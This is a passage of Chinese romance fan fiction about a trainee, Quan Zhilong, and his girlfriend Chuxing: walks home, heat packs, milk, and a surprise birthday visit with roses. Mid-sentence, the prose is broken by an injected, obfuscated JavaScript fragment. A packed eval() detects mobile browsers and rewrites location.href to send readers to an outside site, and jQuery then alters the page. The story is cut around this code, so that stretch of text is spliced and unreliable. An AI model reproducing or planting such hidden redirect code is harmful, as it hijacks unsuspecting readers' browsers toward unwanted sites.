“冷吗?”他侧头问,手指收紧了些,将她的小手更完整地包裹住。 “有一点。”初星老实地点点头,夜晚的寒气确实让她觉得有些凉意,尤其是刚刚从温暖的室内出来。 至龙直接将她微凉的手整个包覆在自己温暖干燥的手掌里,然后一起塞进了自己外套那宽敞温暖的口袋里。 两人的手在温暖狭窄的口袋里紧密地相贴,肌肤相亲。至龙更加清晰地感觉到她指尖传来的、如同玉石般的凉意,像几块小小的、需要捂热的冰。 “手怎么这么冰?”他侧过头,有些心疼地问,用自己温热的手指更紧地、充满怜爱地包裹住她的,轻轻摩挲着她的手背,试图把自己的体温和热量毫无保留地传递过去。 初星带着一点习以为常的无奈和娇气的抱怨,“体质原因啦,从小就这样,血液循环好像不太好。每次到了秋天就开始手脚冰凉,到了冬天更是像个移动的小冰窖,怎么捂都捂不热,很麻烦吧?” 至龙听完把她的手握得更紧,仿佛要把他所有的温暖都渡给她,驱散那点寒意。他转过头,看着初星在路灯下显得格外清澈的眼睛,语气里带着一种发现新使命般的认真,斩钉截铁地说: “没关系!” “我手暖,火力旺!” 他像是许下一个郑重的、一生有效的承诺,声音温柔而坚定,充满了力量: “以后每到天冷,我的手就是你的专属暖炉,随叫随到,二十四小时供应,绝不失效。” 初星看着他认真的、带着笑意的表情,心里软得一塌糊涂,嘴上却只是轻轻“哼”了一声:“……那你可要说到做到,要是哪天不暖了,我可是要退货的。” “当然!保证完成任务!终身保修!”至龙用力点头,笑得见牙不见眼。 两人就这样手牵着手,揣在同一个温暖的口袋里,慢悠悠地沿着灯火阑珊的街道往回走。路灯把他们的影子拉长又缩短,交织在一起。 走到初星家楼下,两人再次停下脚步,空气中弥漫着依依不舍的气息。 “那我……上去了?”初星小声说。 “嗯,”至龙点点头,舍不得松开那终于被他捂得暖暖的小手,“明天早上,我来接你一起上学?” “好。”初星点点头,答应得干脆。 “那……明天见。”至龙看着她,目光缱绻。 “明天见。”初星也回望着他。 道别的话说了好几遍,两人却谁都没先动,仿至龙看着初星在月光和路灯下显得格外柔和的眉眼、亮晶晶的眼睛和微微泛红的脸颊,心跳再次加速。他鼓起勇气,慢慢地、试探性地低下头,屏住呼吸,想在她光洁的额头上印下一个轻柔的吻。 而初星看到他的脸在眼前缓缓靠近时,她的身体极其轻微地向后缩了一下,下意识地偏开了额头。 至龙瞬间僵住了,停在了距离她额头只有几厘米的空气中。他能清晰地感受到她那细微却明确的闪避。一阵明显的失落迅速掠过他的眼底,他猛地直起身子,拉开距离,耳根通红,眼神有些慌乱地看向别处,声音充满了懊恼:“对…对不起,初星,我……我不是……我太冒失了……” 初星看到他黯淡下去的眼神和不知所措、像个做错了事的大男孩的样子,心里一紧,涌上一阵歉疚和心疼。 几乎在至龙道歉的话音刚落的同时,她做出了补偿,飞快地踮起脚尖,主动凑上前,在他一侧的脸颊上快速地、轻轻地亲了一下,声音很轻却清晰,带着安抚的意味:“晚安,至龙。” 这个主动的亲吻让至龙再次愣住,那柔软而微凉的触感、那近在咫尺的、带着歉意和温柔的目光,驱散了他所有的失落和不安。 初星亲完,脸颊也红得不像话,不等他从这巨大的惊喜中反应过来,就抱着花束转身飞快地跑进了楼里。 至龙呆呆地站在原地,抬手轻轻摸着刚刚被亲过、还残留着柔软触感和一丝凉意的地方,看着她的身影消失在楼道门后,一个人摸着脸颊傻笑了好久。等到初星房间的灯亮起,窗口出现她的身影,隔着玻璃朝他用力地挥了挥手,他才心满意足地、一步三回头地离开。 他把手插进口袋,指尖似乎还清晰地残留着她微凉的触感、细腻的肌肤纹理和那两个主动的亲吻所带来的甜蜜。他一个人走在回家的路上,忍不住哼起了不成调却欢快无比的歌,觉得今晚的星星都格外明亮,每一盏路灯都像是在为他祝福。 30. 暖冬的呵护 天光微熹,空气中还带着一夜沉淀下来的寒意。权至龙却比闹钟设定的时间醒得还要早,几乎是从床上一跃而起。收拾好后,反复检查了书包,确认没有遗漏任何东西,尤其是那瓶为初星准备的两瓶热饮。她怕冷,昨天又抱怨了牛奶的味道,所以今天特意绕了远路,去另一家便利店买了热乎乎的草莓牛奶,细心地用保温袋裹了好几层,确保到她手里时还是温热的。 他提前等在了初星家楼下,寒气扑面而来,下意识地微微缩了缩脖子。但怀里揣着的那瓶温热的牛奶,隔着衣物传来暖烘烘的温度,一直熨帖到心口,驱散了周遭的冷意。 单元门的锁舌发出轻微的“咔哒”声打开,至龙的目光像被磁石吸住一样牢牢锁在门口。 初星的身影准时出现。她穿着熨烫平整的经典韩式校服,外面套着牛角扣大衣,但大衣的扣子依旧随意地敞开着,露出里面贴合腰线的针织衫和百褶裙摆。一条柔软蓬松的米白色羊绒围巾松松地绕在颈间,衬得她白皙的小脸愈发精致。 “等很久了吗?”初星步履轻盈地走到他面前,把书包递给他。 至龙顺手地接过,挎在自己已经背着一个包的肩上,同时把怀里的牛奶塞到她手里,但他还是忍不住,担忧地看着她裙摆下那双纤细的腿上,眉头微微蹙起,话里是老妈子似的操心:“初星啊,早上新闻说今天降温了,你看你,怎么还是只穿这么一层薄薄的袜子?为什么不穿厚一点的裤袜呢?真的会冻感冒的!” 初星双手碰到那温热的、散发着香甜气息的牛奶瓶,舒服地轻轻叹了口气,拧开喝了一小口,才顺着他的目光低头瞥了一眼自己的腿,微微嘟起粉嫩的唇,露出一副“这有什么好大惊小怪”的、理所当然的表情,声音里是不容置疑的任性:“穿那种裤袜,显得腿又粗又笨,好不自然的,丑死了,才不要穿。” 说完,还故意轻轻跺了一下穿着小皮鞋的脚,“是有点凉啦……但是好看比较重要!美观更重要!” 至龙看着她这副“要风度不要温度”的样子,又是心疼得不得了,又是无奈到想叹气,简直拿她一点办法都没有。他叹了口气,上前伸出手,仔细地、一颗一颗地帮她把牛角扣大衣的扣子从头到尾全部扣得严严实实,仿佛这样就能把所有的寒气都隔绝在外。他一边扣,一边像个操碎了心的老父亲似的低声念叨:“大衣总得好好扣起来吧?至少把身子和肚子护住啊……真是的……一点都不会照顾自己……” 初星小口小口地喝着牛奶,乖乖站着任由他动作,看着他低头认真又担心的侧脸,睫毛在晨光下投下浅浅的阴影,嘴角忍不住偷偷弯起带着点甜意的微小弧度。 去学校的路上,至龙一手拎着两个沉甸甸的书包,另一只手坚持把初星空着的那只手不由分说地揣进自己衣服口袋里紧紧捂着。即便这样,走了几步,他还是不放心地频频低头,目光忧心忡忡地扫过她那双在寒风中显得有些单薄的腿。 路过一家便利店时,他停下脚步。“你等一下,拿一下牛奶。”他把牛奶瓶递回给初星,不等她回应,就快步跑进了便利店。没过一会儿,他手里拿着一包东西小跑着出来,额角渗出一点细密的汗珠。 “这是什么?”初星好奇地问,把喝了一半的牛奶又递还给他拿着。 “暖宝宝。”至龙言简意赅,把书包和牛奶暂时放在路边的长椅上,让初星坐好,利落地拆开包装,从里面拿出两片暖宝宝,随后蹲下身—— “呀!权至龙!你干嘛!”初星被他这突如其来的举动弄得轻呼一声,下意识地想缩回。 但至龙的动作更快,他已经利落地掀开她的小皮鞋鞋垫,快速地将两片已经开始发热的暖宝宝精准地贴在了她的鞋底正中央。 “这样脚底会暖和很多,热气从下往上走,全身都会舒服点。”他站起身,拍了拍手,有些小小得意,“而且从外面完全看不出来,绝对不会影响你的‘好看’和‘自然’。”而后重新背起两个书包,拿起那瓶牛奶,再次把她的手捉回来,揣回自己温暖的口袋里。 脚底瞬间传来的温暖让初星愣了一下,她看着至龙一手拿着她的牛奶、肩上挂着两个明显不轻的书包、还时时刻刻惦记着她脚冷不冷的专注样子,“噗嗤”一声笑了出来,心里那点因为他刚才略显强硬的“说教”而产生的小小别扭烟消云散。 “好吧……算你聪明。”她小声地、带着点勉为其难的表扬承认道,手指悄悄蜷缩了一下,轻轻挠了挠他的掌心,像一只表达亲昵的小猫。 至龙立刻反手更紧地握住她调皮的手指,两人相视一笑,甜蜜在空气中流淌。他们聊着一些无关紧要的校园话题,比如今天第一节是什么课,严厉的班主任会不会突然抽查那令人头疼的古文背诵,阳光渐渐变得明亮,暖暖地照在身上,一切都舒服得刚刚好。踩着被暖宝宝烘得热乎乎的脚,一路暖洋洋地、慢悠悠地走到了学校。 在教室门口分别前,至龙还是不放心地松开手,低声叮嘱:“下课要是觉得冷了,或者暖宝宝不热了,就给我发信息,我书包里还有备用的。”他拍了拍自己鼓鼓囊囊的书包侧袋。 “知道啦,权大妈。”初星嘴里应着,表情仍是带着被过度关心的小小不耐烦,心里却因为他这有些啰嗦的关怀而感到一种被填满的、踏实的安全感和甜蜜。 整个上午,至龙坐在教室里都有些心神不宁。老师在讲台上讲解着复杂的数学公式,他的笔尖却在笔记本的边缘无意识地画着一个个小小的草莓和牛奶盒。课间休息铃声一响,他立即拿出手机,屏幕干干净净,没有来自她的新信息。他既松了口气——说明她应该没觉得冷,又有点莫名的失落——她一条信息都没发给他。 他想了想,还是没忍住,主动发了一条信息过去:「脚还冷吗?暖宝宝还热着吗?」 很快,初星的回复跳了出来:「暖宝宝很厉害!一点都不冷了(^▽^)」 至龙看着那个可爱的笑脸,不自觉地在脑海里勾勒出她捧着手机、嘴角弯弯的得意样子,他也忍不住对着手机屏幕露出了一个傻气的笑容。飞快地打字回复,语气宠溺:「那就好!牛奶最后一口喝掉了吧?凉了就别喝了,对胃不好。」 初星很快回了一个简单的「嗯嗯」的点头表情,没有多余的话,至龙却心满意足。 第三节课间,至龙借着去卫生间的理由,“恰好”绕路经过了初星班级所在的走廊。他假装不经意地从窗口望进去,目光迅速锁定了那个熟悉的身影。正好看到初星侧着身子和珍雅低声说着什么,嘴角带着轻松的笑意,那双穿着薄薄袜子的腿在课桌下轻轻地晃悠着,看起来不像是被寒冷困扰的样子。他这才稍微安心了点,紧绷的神经松弛下来,准备悄悄离开,初星却像是有心灵感应似的,毫无预兆地转过头,目光一下子就越过几个同学,捕捉到了窗外偷看的他。 被抓包的至龙愣了一下,随即有点不好意思地、下意识地对她露出了一个带着点傻气和腼腆的笑容。初星也笑了,那双清澈的眼睛弯了起来,隔着窗户和嘈杂的人群,对他做了一个清晰的“OK”的手势。至龙这才彻底放下心来,心满意足地走了。 午餐时间,四人组再次齐聚食堂。至龙把自己的餐盘里烤得最嫩滑的鱼肚肉夹到初星碗里,又动作仔细地把她餐盘里她明显不喜欢的胡萝卜丝全部挑到自己这边。 旁边的永裴看着这一切,夸张地捂住心脏,做出痛心疾首的表情:“呀!权至龙!我也想吃烤鱼!我也需要补充营养!” 至龙头都没抬,眼皮懒懒一掀,把自己餐盘里有点干瘪的鱼尾巴夹起来丢进永裴碗里,“喏,给你,最好的部分留给你了。” 永裴看着那块可怜的鱼尾,瞪大了眼睛,声音拔高:“……呀!这能一样吗!你这重色轻友的家伙!” 初星和珍雅被逗得忍俊不禁,笑出声来。初星也把自己碗里的鱼肚肉又夹回给至龙,小声说:“你也吃。”至龙立刻眉开眼笑,吃得比什么都香。 下午放学铃声响起,至龙依旧准时出现在初星班级门口,接过书包,第一件事就是凑近她,低头小声问:“暖宝宝还热吗?效力是不是快过了?” 初星感受了一下脚底,点点头:“还有一点点温温的感觉,不怎么热了。” 至龙这才放心,又从自己那个哆啦A梦百宝袋似的口袋里变魔术般掏出暖宝宝塞到她手里:“给,备用的。回去记得贴上,别嫌麻烦。” 初星看着手里那两片暖宝宝,又抬头看看至龙那双写满认真和关心的眼睛,心里微微一动。她轻轻晃了晃两人交握在一起的手。 “至龙啊,”她的声音轻轻的,带着一丝不易察觉的柔软。 “嗯?”至龙立刻专注地看着她。 “谢谢你的暖宝宝。”她的声音里带着真诚的感谢和一点点撒娇的意味,“还有……今天的香蕉牛奶,我很喜欢~” 至龙的心软得一塌糊涂,仿佛融化在了夕阳的暖晖里。他握紧她的手,摇了摇头,“这有什么好谢的。傻不傻。你只要别冻着,健健康康的,我就比什么都开心。”他顿了顿,试探性地问,“明天……还想喝牛奶吗?或者换别的?” “明天……”初星犹豫了一下,长长的睫毛垂下来,像是在做一个重大的决定,声音更小了,“我考虑一下……也许……可以试试穿稍微厚一点点、但颜色浅一点的袜子看看。” 至龙惊喜地睁大了眼睛,兴奋地追问:“真的?你说真的?那说好了!要不我陪你去买新的?我知道有家店卖的那种裤袜超级自然,厚度可选,而且……” “呀!”初星被他这急切的样子弄得有些羞恼,嗔怪地打断他,“只是考虑一下!再说我就不穿了!收回!” “好好好,不考虑,不考虑!我不说了!”至龙见好就收,举手投降,脸上却笑开了花。他知道,她肯这么说,就已经是把他和他的关心真正放在心上了,这就足够了。 走了一段相对安静的路,至龙脸上的笑容稍微收敛了一些,他轻轻捏了捏初星柔软的手,“初星啊,有件事要跟你先说一声。”他小心翼翼地开口。 “嗯?”初星侧头看他。 “从明天开始……嗯……可能之后挺长一段时间,”他斟酌着用词,注意观察着她的脸色,“公司的安排,练习生的训练课程要加重了,强度和时长都会增加,晚上……估计都得和永裴他们加练到很晚。” 他顿了顿,声音放得更软了些,带着明显的安抚意味:“所以……晚上放学,我可能……没办法天天像现在这样,准时等你,送你回家了。”他看到初星嘴角的笑意微微淡去,心里一紧,很快地补充道,语气带着保证和讨好,“但是早上没问题!绝对没问题!我还可以像今天、像以前一样早早来接你一起上学!绝对不会耽误!我发誓!”他举起空着的那只手做发誓状。 初星脸上的笑容淡了下去,虽然不明显,但轻松愉快的氛围确实消散了些。她把目光从至龙脸上移开,手从口袋里拿出来,看向旁边路灯下自己的影子,微微撇了撇嘴,用一种故作轻松、甚至有些刻意的语气说道: “哦,就这个啊。”她耸了下单薄的肩膀,把手从他温暖的口袋里抽了出来,假装整理自己根本不需要整理的围巾末端,“随便啊。我无所谓。” 她顿了顿,语气变得更硬邦邦,还带上了一点反向的“嫌弃”:“正好,我天天和你一起走,都快烦死了。”她口是心非地说着,“以后晚上我可以和珍雅一起走了,还能顺便去逛逛新开的那家文具店,或者去喝杯热饮,不知道多自在轻松。” 至龙一听这硬邦邦的语气,再看她这副明明在意却非要嘴硬、用“嫌弃”来伪装自己的小模样,心里顿时又软又酸涩,还有点想笑。 他赶紧凑近一点,歪着头,执拗地去追寻她躲闪的目光,“真的烦我了?不会吧?我们才正式在一起没几天诶……初星小姐这么快就厌倦我了吗?嫌弃我了吗?我好伤心啊……” 他故意用夸张的、可怜巴巴的语气说道,试图打破她那层薄薄的伪装。 初星被他看得不好意思,更用力地别开脸,耳根却悄悄地红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680920|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,却还是硬撑着,但底气明显不足了:“当然是真的!谁要天天跟你黏在一起啊……你、你快去练你的习吧!不用管我!” “可是我会想你的,”至龙收起玩笑,声音变得低沉而认真,蕴含着不容置疑的真诚,他轻轻碰了碰她微凉的手背,“晚上不能送你了,我练习的时候,肯定会分心,会一直惦记你有没有安全到家,有没有好好贴暖宝宝,有没有喝热水。”他注视着她的眼睛,“所以,就算和珍雅一起走,也一定要直接回家,别在外面逗留太久,好不好?让我能安心练习,嗯?” 他初星那点强装出来的“不在乎”和“嫌弃”被至龙直白而温柔的话瞬间被击得粉碎,露出了底下柔软的内里。她抿了抿嘴,指尖无意识地蜷缩了一下,最终还是飞快地嘟囔了一句:“……知道啦。啰嗦死了。” 至龙笑了,心里一块石头落了地,知道这场小小的风波算是过去了。他再次牵起她微微抗拒了一下但还是顺从的手,重新塞回自己温暖的口袋里,紧紧握住:“那说好了,早上我等你,风雨无阻。晚上你到家了,记得给我发个信息,哪怕就一个字也行。” “看心情吧。”初星哼了一声,别过头去,但被他紧紧握住的手指却回握了一下他,指尖的温度慢慢传递过来。 走到楼下,至龙又从书包里拿出牛奶递给初星,随后仔细地帮她把被风吹乱的围巾重新系好,打了个漂亮的结。初星脸上还是一副“你快走吧别磨蹭了”的不耐烦样子,却站着乖乖让他弄,手捧着牛奶,甚至微微抬起了下巴方便他动作。 看着初星转身上楼的背影,至龙才笑着摇摇头,他的小公主,连生气和表达不满都这么别别扭扭的,可爱得要命。他转身,深吸了一口微冷的空气,将那份甜蜜的负担转化为动力,朝着公司练习室的方向加快了脚步——他得更加努力,变得更好,才能更有底气地、更长久地陪伴她,给她更好的未来。 …… 晚上,练习室里灯火通明,节奏强烈的音乐撞击着墙壁。至龙和永裴以及几个练习生同伴一直高强度练习到快十二点,才被老师放过。至龙筋疲力尽地直接坐倒在冰凉的地板上,汗水浸湿了额前的碎发,顺着下颌线滴落,胸腔剧烈地起伏着,大口喘着气。永裴瘫在他旁边,形象全无,有气无力地吐槽:“啊……不行了……至龙啊,我觉得我的腿已经不是自己的了,它们背叛了我……” 至龙喘匀了气,从包里摸出手机按亮屏幕,没有新的信息提示。他心里掠过一丝空落落的感觉,看来她今天的“心情”确实因为晚上的安排而受到了一点影响,或者只是单纯忘了? 他主动发了条信息过去,文字带着疲惫和一点点撒娇的意味,试图让气氛轻松点:「练习刚结束,累瘫了… 感觉身体被掏空。永裴说他腿都快断了,像被大象踩过T-T」 信息发出去后,他握着手机,心里有点忐忑地等待着。手机屏幕立刻亮了起来,提示有新消息。不是漫长的等待,几乎是瞬间就有了回应!至龙的心跳莫名加快了些许。 初星回复了一张照片——是她书桌的一角,台灯温暖的光线下,摆着一杯喝了一半的牛奶,旁边似乎还散落着几支笔和一本摊开的书。后面跟了一行字,言简意赅,「这个牛奶不好喝。太甜了。明天想喝香蕉味的。」 没有问候“累不累”,没有甜言蜜语“辛苦了”,甚至还有点嫌弃他挑的牛奶口味。 但至龙看着那张充满生活气息的照片和那行看似抱怨的要求,却抱着手机“噗嗤”一声笑了出来。他知道,这就是他的初星表达“我看到你信息了,没有生气,并且你要继续好好服务、接受我的挑剔”的独特方式。 “笑什么呢?累傻了?出现幻觉了?”永裴喘着气,好奇地凑过脑袋来看。 至龙心情大好,把手机屏幕往他那边偏了偏:“初星说今天的牛奶太甜了不好喝,指明明天要喝香蕉味的。” 永裴瞪大了眼睛,看着至龙一脸“我女朋友真可爱”的陶醉表情,一脸难以置信:“呀!我们在这累死累活、汗流浃背练到快散架,她就在家舒舒服服地喝着牛奶还挑三拣四?嫌弃甜度?权至龙你居然还笑?你真是没救了……中毒太深了!” 至龙没理他的吐槽,手指在屏幕上飞快地打字回复初星,从嘴角到眉梢都带着笑意:「好!遵命!明天就给你换香蕉味的!保证甜度适中,绝对好喝!」他想了想,带着点分享和调侃的意味,又加了一句:「永裴说我没救了,中了你的毒,居然还这么开心^ ^」 很快,初星的回复跳了出来,依旧是言简意赅的两个字:「哦哦。」 但至龙似乎能透过这冰冷的屏幕和这两个简单的字,清晰地看到她微微扬起线条优美的下巴、露出一副“这还差不多”的、略带傲娇的小表情,或许嘴角还藏着一丝得逞的浅浅笑意。 “她回什么了?是不是终于良心发现慰问我们了?”永裴又挣扎着凑过来。 “她说‘哦哦’。”至龙美滋滋地把这两个字展示给他看,然后心满意足地把手机收起来,仿佛收到了什么珍贵的情书。 永裴看着他那副傻乐的样子,翻了一个巨大的白眼,手肘没好气地撞了他一下:“呀!我看你真是被吃得死死的!完了完了,权至龙你彻底完了!没眼看了!” 至龙笑着躲开他的攻击,心情却因为这两条信息变得无比晴朗,连身体积累的沉重疲惫都似乎减轻了不少。他勾住永裴的脖子,把他从地上拉起来:“走啦走啦,累死了,请你喝饮料去,香蕉味的!补充糖分!” “我才不喝那种甜腻腻的、小姑娘喜欢的东西!”永裴嘴上嫌弃着,身体却诚实地被至龙拖着站了起来,边走边嘟囔,“我要喝运动饮料!补充电解质!” 另一边的初星放下手机,看着屏幕上至龙那条带着笑脸和调侃的回复,尤其是那句“永裴说我没救了”忍不住抿嘴笑了,清澈的眼睛里漾开浅浅的笑意。她拿起桌上那杯“太甜了”的牛奶,一口一口地喝完了,心里却已经开始不由自主地期待起明天的香蕉味了。 31. 星光蝶影 十二月的寒风如同冰冷的刀片,刮过首尔的街头。街边店铺的橱窗提前贴上了雪花、麋鹿和圣诞老人的贴纸,闪烁着暖黄色的串灯,气氛在凛冽的空气里艰难地弥漫着,却驱不散深入骨髓的寒意。 今年的生日,初星早早就和家里人说好,不打算在家里举办传统的生日宴。她邀请了最亲近的几个朋友,在学校附近一家以氛围温馨、甜品精致闻名的西餐厅预订了一个小小的包间。 她知道至龙最近的练习已经到了残酷的冲刺阶段。公司似乎对他们这批练习生寄予了厚望,训练强度与日俱增。好几次在短暂的课间看到他,眼下的乌青浓重得像是用墨笔画上去的,原本清亮的眼眸里也布满了疲惫的血丝,走路时都有一丝虚浮。看着他这副仿佛随时会倒下的样子,初星心里那点关于生日派对的期待和雀跃,像被针扎了一下,悄悄地漏了气。 一种混合着心疼和一点点委屈的复杂情绪涌上心头。她体贴地想着:「他那么累,肯定记不住这种小事吧?就算记得,估计也没精力来。算了,还是别告诉他了,让他好好练习吧,练习更重要。」甚至,还带着一丝赌气的、自我保护的意味,她刻意地不去提醒他,仿佛这样,如果他真的忘了,自己也不会显得太狼狈。 当珍雅旁敲侧击地问她:“初星啊~生日派对……要不要叫上至龙欧巴?他最近好像特别辛苦……”时,初星故作大方地摆了摆手,装作满不在乎:“叫他干嘛呀?他忙得连睡觉时间都快没了,别打扰他了。我们自己玩也挺好的。”她努力让自己的表情看起来自然,仿佛真的毫不在意。 然而,在她心底最深处,一个微弱的声音仍在固执地低语:也许……他会记得呢?也许……他会来呢? 生日当天下午,放学铃声响起。初星和珍雅她们有说有笑地走出校门,讨论着晚上餐厅的招牌甜品和要点的饮料,清脆的笑声在寒冷的空气中格外响亮。她努力让自己沉浸在即将到来的聚会兴奋中,目光仍会不自觉地、飞快地扫过校门口那些熟悉或陌生的身影。 但直到她们挥手道别,约定好餐厅见面的时间,那个熟悉的身影始终没有出现。街道空旷,只有寒风卷起几片枯叶。 “看吧,他果然忘了。或者……根本就没放在心上。”初星心里咕哝了一句,像吞下了一颗未熟的青梅,酸涩的汁液慢慢浸透开来,带着点自嘲的意味。但很快,她甩了甩头,重新被闺蜜们热烈的讨论和笑声包围,朝着那家温暖的餐厅走去。 餐厅的小包间布置得很温馨。暖黄色的壁灯洒下柔和的光晕,墙壁上贴着可爱的生日祝福贴纸,小小的圆桌中央,放着精致的蛋糕,上面插着蜡烛,小小的火苗跳跃着。朋友们送的礼物包装精美,堆在一旁的椅子上。大家笑着、闹着,互相拍照,初星也被这热烈的气氛感染,暂时将那份小小的失落压在了心底,脸上重新绽放出灿烂的笑容。 在服务员端上精致的前菜,大家举起玻璃杯,嬉笑着准备先碰杯庆祝一下时—— “叩、叩、叩。” 包间的门被轻轻敲响了,声音不大,却异常清晰。 离门最近的一个朋友下意识地应了一声:“请进。” 门被缓缓推开一条缝。首先探进来的,不是人影,而是一大束娇艳欲滴、与窗外萧瑟冬景格格不入的粉白色荔枝玫瑰!花束巨大得惊人,层层叠叠的花瓣如同柔软的云朵,几乎将后面的人完全遮挡住,馥郁的香气瞬间涌入包间,盖过了食物的气息。 随后一个气喘吁吁、头发被寒风吹得凌乱不堪、甚至有些狼狈的脑袋,才小心翼翼地从那一片浪漫的花海旁边探了出来。 是权至龙。 他穿着厚重的、看起来是匆忙套上的深色羽绒服,拉链甚至没完全拉好,露出里面的深色长袖。围巾歪歪扭地挂在脖子上,脸上带着奔跑后的不自然红晕,额角和鼻尖甚至渗出细密的汗珠,在暖黄的灯光下闪闪发光。 “对、对不起……我是不是来晚了?”他喘着粗气,声音因为急促的呼吸而断断续续,带着明显的沙哑,眼神越过所有人,直直地望向初星,充满了小心翼翼的探询和浓浓的期待,“练习……刚结束,紧赶慢赶……我是一路跑过来的……” 整个包间一时间陷入了一种奇异的安静。所有的动作都戛然而止,目光都带着惊讶、好奇和善意的调侃,齐刷刷地聚焦在这个从天而降、抱着巨大花束、一身寒气的男生身上。 初星完全僵住了。手里还举着被子,呆呆地看着门口那个本该在练习室里挥汗如雨、此刻却像童话里披荆斩棘终于抵达的骑士般突然出现的家伙。心脏疯狂地、失序地擂动起来,撞击着胸腔,一股酸酸麻麻的热流毫无预兆地直冲眼眶和鼻腔,让她眼前蒙上了一层模糊的水汽。她张了张嘴,喉咙却像是被什么东西死死堵住,发不出任何声音,只能怔怔地望着他。 他记得。 他不仅记得,他还来了。 在这样高强度的练习之后,他拖着疲惫不堪的身体,一路奔跑着,赶来了。 珍雅最先从震惊中反应过来,惊喜地叫出声,:“至龙欧巴?!天哪!你怎么来了?快进来快进来!外面冷死了!” 其他朋友也纷纷从愣神中惊醒,爆发出更大的起哄声和笑声:“哇!这花也太夸张了吧!好漂亮!”、“至龙xi你也太浪漫了吧!这是刚从练习室跑下来吗?真是太用心了!” 至龙被大家的热情弄得有些不好意思,耳根微微泛红,这才抱着那束几乎要把他淹没的玫瑰,有些局促地走进温暖的包间。他径直走到初星面前,无视了周围所有的目光和调侃,将手中那束无比新鲜、还带着水珠、香气扑鼻的玫瑰,小心翼翼地递到初星面前,眼睛一眨不眨地、深深地凝视着她: “初星,”他唤她的名字,每一个字都仿佛带着沉甸甸的重量和滚烫的温度,“生日快乐。” 初星看着眼前这束如梦似幻的玫瑰,再抬头看看至龙那张跑得通红、写满了透支的疲惫却因激动和期待而异常明亮的脸庞,那点之前所有“体贴”的伪装、故作大方的“不在乎”、以及那一点点赌气的委屈,转眼被这个惊喜冲击得七零八落,消失得无影无踪。她放下一直举着的杯子,接过那束沉甸甸的、象征着他不顾一切奔赴的花束,冰凉的指尖触碰到他微微发热的手,激起一阵微小的战栗。她下意识地把发烫的脸颊深深埋进柔软芬芳、带着凉意的花瓣里,试图遮掩自己失控的情绪,小声嘟囔了一句,声音闷闷的,却清晰地透出心疼和哽咽: “……呀,谁让你这么跑来的……练习那么累,不好好休息干嘛……”但那双抬起望向他、氤氲着水汽的眸子,却亮得惊人,眼尾泛着动人的红晕,微微颤抖的嘴角和根本无法抑制上扬弧度的面部线条,都清楚地写满了无法言喻的开心。 至龙看着她这副明明感动得要命却还要嘴硬心疼他的样子,悬着的心落下,舒了一口气,抬手用指尖蹭了蹭鼻梁:“再累也要来啊。你的生日嘛,我怎么能缺席。” “哎呀,别傻站着了!寿星和‘护花使者’都赶紧坐下!”珍雅笑着起身,手脚麻利地给至龙挪出初星身边的空位,“就等你了!菜都要凉了!” 其他朋友也纷纷笑着招呼他,包间里的气氛因为至龙的突然到来,变得更加热烈、欢快。 至龙脱下羽绒服,里面只穿着一件单薄的、领口有些汗湿的深色卫衣,他有些不好意思地在初星身边坐下,气息还没完全平复,胸口微微起伏。 “还没开始吃吧?我……我没错过切蛋糕吧?”他侧过头,凑近初星,小声地问,眼睛一瞬不瞬地看着她。初星这才从花束里抬起脸,脸颊上的红晕尚未褪去,娇嗔地瞥了他一眼,语气还带着点撒娇般的埋怨,但眼神已经软得像一池春水:“差点就错过了!谁让你来这么晚的……罚你待会儿多吃一块蛋糕!” “我的错我的错,”至龙从善如流地、笑着道歉,脸上却洋溢着满足和开心,“罚我吃三块都行!下次……不,以后每年,我一定提前到!第一个到!” 初星那点小小怨气早已被甜蜜淹没,她甚至用干净的餐具给至龙夹了一大块鲜嫩多汁的烤牛排,放到他的餐盘里:“这个给你,练习消耗大,多吃点肉补充体力。” 这主动的、带着明显关怀的举动让至龙受宠若惊,赶紧端起盘子接住,受用地点点头,笑得眼睛弯成了好看的月牙。 接下来的时间,至龙眉眼间依旧带着无法掩饰的浓重倦色,偶尔在大家热烈讨论的间隙会忍不住悄悄用手按揉一下酸胀的太阳穴,但他的精神却很好,始终带着微笑,认真地听着初星和朋友们聊天,当话题偶尔抛到他这里时,他会笑着给出回应,努力融入这份属于她的快乐。在大家吵着要关灯点蜡烛、唱生日歌时,他拿出手机,调整好角度,极其认真地、像个专业的摄影师一样,为戴着可爱生日帽、双手合十、在烛光映照下脸颊微红、闭眼许愿的女孩,拍下了一张又一张照片,仿佛要将这一刻的美好永恒定格。 初星用力吹灭所有蜡烛,包间里陷入短暂黑暗又立刻被灯光和欢呼声填满时,在朋友们的起哄和掌声中,至龙红着脸,鼓起勇气,飞快地侧身拥抱了初星一下。他在她耳边,用只有两人能听到的、带着喘息和无比认真的气音,许下承诺:“生日快乐,我的初星。以后的每一个生日,无论在哪里,无论多忙,我都会陪在你身边。” 初星的脸颊爆红,连脖颈都染上了绯色,心脏在胸腔里再次疯狂跳动,那股暖流汹涌而至,将她的心填得满满的,又胀又软。 派对在欢声笑语中结束,朋友们互相道别。至龙自然肩负起送寿星回家的重任。他一手抱着那束大得有些夸张、与清冷冬夜形成鲜明对比的荔枝玫瑰,另一只手紧紧地牵着她微凉的手。两人踏着路灯下拉长的影子,慢悠悠地走在已经逐渐安静下来的街道上。 “今天……开心吗?”至龙侧过头,看着初星被夜风吹得鼻尖微红、却依旧带着盈盈笑意的侧脸,轻声问道,“嗯!超级开心!”初星用力点头,眼睛在路灯下闪着光,“蛋糕比想象中还要好吃,珍雅送的耳环我也超喜欢!”她说着,微微侧过头,晃了晃脑袋,展示了一下耳朵上那对新戴上的、设计精巧的碎钻小耳钉,它们随着她的动作闪烁着细碎的光芒。 走了一段,离初星家越来越近。周围愈发安静,只能听到两人的脚步声和偶尔路过的车声。至龙停下脚步,放下花束,转过身面对初星,语气带着点不好意思的腼腆,还有一起神秘的期待感:“初星啊,其实……我还准备了一份礼物。” “嗯?”初星好奇地抬头看他,“不是已经送过花了吗?” 